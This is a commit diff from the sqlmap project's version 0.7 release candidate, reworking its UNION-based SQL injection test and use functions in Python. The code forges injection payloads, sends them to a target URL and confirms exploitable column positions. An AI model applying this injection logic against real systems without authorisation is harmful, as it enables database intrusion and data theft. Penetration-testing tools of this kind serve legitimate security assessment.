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Updated to sqlmap 0.7 release candidate 1
This commit is contained in:
Bernardo Damele
parent
b997df740a
commit
8c0ac767f4
129 changed files with 8386 additions and 1388 deletions
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@ -5,8 +5,8 @@ $Id$
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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and Daniele Bellucci <daniele.bellucci@gmail.com>
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Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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@ -5,8 +5,8 @@ $Id$
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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and Daniele Bellucci <daniele.bellucci@gmail.com>
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Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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@ -5,8 +5,8 @@ $Id$
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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and Daniele Bellucci <daniele.bellucci@gmail.com>
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Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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@ -25,14 +25,103 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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from lib.core.agent import agent
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from lib.core.common import randomStr
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.session import setUnion
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from lib.core.unescaper import unescaper
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from lib.parse.html import htmlParser
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from lib.request.connect import Connect as Request
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def __unionPosition(negative=False, falseCond=False):
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if negative or falseCond:
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negLogMsg = "partial (single entry)"
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else:
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negLogMsg = "full"
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infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
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infoMsg += "'%s'" % kb.injParameter
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if negative:
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infoMsg += " with negative parameter value"
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elif falseCond:
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infoMsg += " by appending a false condition after the parameter value"
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logger.info(infoMsg)
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# For each column of the table (# of NULL) perform a request using
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# the UNION ALL SELECT statement to test it the target url is
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# affected by an exploitable inband SQL injection vulnerability
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for exprPosition in range(0, kb.unionCount):
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# Prepare expression with delimiters
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randQuery = randomStr()
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randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
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randQueryUnescaped = unescaper.unescape(randQueryProcessed)
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# Forge the inband SQL injection request
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query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
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payload = agent.payload(newValue=query, negative=negative, falseCond=falseCond)
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# Perform the request
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resultPage, _ = Request.queryPage(payload, content=True)
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# We have to assure that the randQuery value is not within the
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# HTML code of the result page because, for instance, it is there
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# when the query is wrong and the back-end DBMS is Microsoft SQL
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# server
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htmlParsed = htmlParser(resultPage)
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if randQuery in resultPage and not htmlParsed:
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setUnion(position=exprPosition)
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break
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if isinstance(kb.unionPosition, int):
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infoMsg = "the target url is affected by an exploitable "
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infoMsg += "%s inband sql injection vulnerability" % negLogMsg
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logger.info(infoMsg)
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else:
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warnMsg = "the target url is not affected by an exploitable "
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warnMsg += "%s inband sql injection vulnerability" % negLogMsg
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if negLogMsg == "partial":
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warnMsg += ", sqlmap will retrieve the query output "
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warnMsg += "through blind sql injection technique"
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logger.warn(warnMsg)
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def __unionConfirm():
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# Confirm the inband SQL injection and get the exact column
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# position
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if not isinstance(kb.unionPosition, int):
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__unionPosition()
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# Assure that the above function found the exploitable full inband
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# SQL injection position
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if not isinstance(kb.unionPosition, int):
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__unionPosition(falseCond=True)
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# Assure that the above function found the exploitable partial
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# (single entry) inband SQL injection position by appending
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# a false condition after the parameter value
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if not isinstance(kb.unionPosition, int):
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__unionPosition(negative=True)
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# Assure that the above function found the exploitable partial
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# (single entry) inband SQL injection position with negative
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# parameter value
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if not isinstance(kb.unionPosition, int):
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return
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else:
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conf.paramNegative = True
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else:
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conf.paramFalseCond = True
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def __forgeUserFriendlyValue(payload):
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value = ""
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@ -119,9 +208,9 @@ def unionTest():
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else:
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technique = "NULL bruteforcing"
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logMsg = "testing inband sql injection on parameter "
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logMsg += "'%s' with %s technique" % (kb.injParameter, technique)
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logger.info(logMsg)
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infoMsg = "testing inband sql injection on parameter "
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infoMsg += "'%s' with %s technique" % (kb.injParameter, technique)
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logger.info(infoMsg)
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value = ""
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columns = None
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@ -138,9 +227,7 @@ def unionTest():
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break
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if kb.unionCount:
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logMsg = "the target url could be affected by an "
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logMsg += "inband sql injection vulnerability"
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logger.info(logMsg)
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__unionConfirm()
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else:
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warnMsg = "the target url is not affected by an "
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warnMsg += "inband sql injection vulnerability"
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@ -5,8 +5,8 @@ $Id$
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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and Daniele Bellucci <daniele.bellucci@gmail.com>
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Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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@ -29,7 +29,6 @@ import time
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from lib.core.agent import agent
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from lib.core.common import parseUnionPage
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from lib.core.common import randomStr
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from lib.core.common import readInput
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from lib.core.data import conf
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from lib.core.data import kb
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@ -39,78 +38,15 @@ from lib.core.data import temp
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from lib.core.exception import sqlmapUnsupportedDBMSException
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from lib.core.session import setUnion
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from lib.core.unescaper import unescaper
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from lib.parse.html import htmlParser
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from lib.request.connect import Connect as Request
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from lib.techniques.inband.union.test import unionTest
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from lib.utils.resume import resume
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reqCount = 0
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reqCount = 0
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def __unionPosition(expression, negative=False):
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global reqCount
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if negative:
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negLogMsg = "partial"
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else:
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negLogMsg = "full"
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infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
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infoMsg += "'%s'" % kb.injParameter
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logger.info(infoMsg)
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# For each column of the table (# of NULL) perform a request using
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# the UNION ALL SELECT statement to test it the target url is
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# affected by an exploitable inband SQL injection vulnerability
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for exprPosition in range(0, kb.unionCount):
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# Prepare expression with delimiters
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randQuery = randomStr()
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randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
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randQueryUnescaped = unescaper.unescape(randQueryProcessed)
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if len(randQueryUnescaped) > len(expression):
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blankCount = len(randQueryUnescaped) - len(expression)
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expression = (" " * blankCount) + expression
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elif len(randQueryUnescaped) < len(expression):
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blankCount = len(expression) - len(randQueryUnescaped)
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randQueryUnescaped = (" " * blankCount) + randQueryUnescaped
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# Forge the inband SQL injection request
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query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
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payload = agent.payload(newValue=query, negative=negative)
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# Perform the request
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resultPage, _ = Request.queryPage(payload, content=True)
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reqCount += 1
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# We have to assure that the randQuery value is not within the
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# HTML code of the result page because, for instance, it is there
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# when the query is wrong and the back-end DBMS is Microsoft SQL
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# server
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htmlParsed = htmlParser(resultPage)
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if randQuery in resultPage and not htmlParsed:
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setUnion(position=exprPosition)
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break
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if isinstance(kb.unionPosition, int):
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infoMsg = "the target url is affected by an exploitable "
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infoMsg += "%s inband sql injection vulnerability" % negLogMsg
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logger.info(infoMsg)
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else:
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warnMsg = "the target url is not affected by an exploitable "
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warnMsg += "%s inband sql injection vulnerability" % negLogMsg
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if negLogMsg == "partial":
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warnMsg += ", sqlmap will retrieve the query output "
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warnMsg += "through blind sql injection technique"
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logger.warn(warnMsg)
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def unionUse(expression, direct=False, unescape=True, resetCounter=False):
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def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar="NULL", unpack=True):
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"""
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This function tests for an inband SQL injection on the target
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url then call its subsidiary function to effectively perform an
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@ -138,28 +74,11 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
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# Prepare expression with delimiters
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if unescape:
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expression = agent.concatQuery(expression)
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expression = agent.concatQuery(expression, unpack)
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expression = unescaper.unescape(expression)
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# Confirm the inband SQL injection and get the exact column
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# position only once
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if not isinstance(kb.unionPosition, int):
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__unionPosition(expression)
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# Assure that the above function found the exploitable full inband
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# SQL injection position
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if not isinstance(kb.unionPosition, int):
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__unionPosition(expression, True)
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# Assure that the above function found the exploitable partial
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# inband SQL injection position
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if not isinstance(kb.unionPosition, int):
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return
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else:
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conf.paramNegative = True
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if conf.paramNegative == True and direct == False:
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_, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
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if ( conf.paramNegative == True or conf.paramFalseCond == True ) and direct == False:
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_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
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if len(expressionFieldsList) > 1:
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infoMsg = "the SQL query provided has more than a field. "
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@ -300,11 +219,11 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
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else:
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# Forge the inband SQL injection request
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query = agent.forgeInbandQuery(expression)
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query = agent.forgeInbandQuery(expression, nullChar=nullChar)
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payload = agent.payload(newValue=query)
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infoMsg = "query: %s" % query
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logger.info(infoMsg)
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debugMsg = "query: %s" % query
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logger.debug(debugMsg)
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# Perform the request
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resultPage, _ = Request.queryPage(payload, content=True)
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@ -321,7 +240,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
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duration = int(time.time() - start)
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infoMsg = "performed %d queries in %d seconds" % (reqCount, duration)
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logger.info(infoMsg)
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debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
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logger.debug(debugMsg)
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return value
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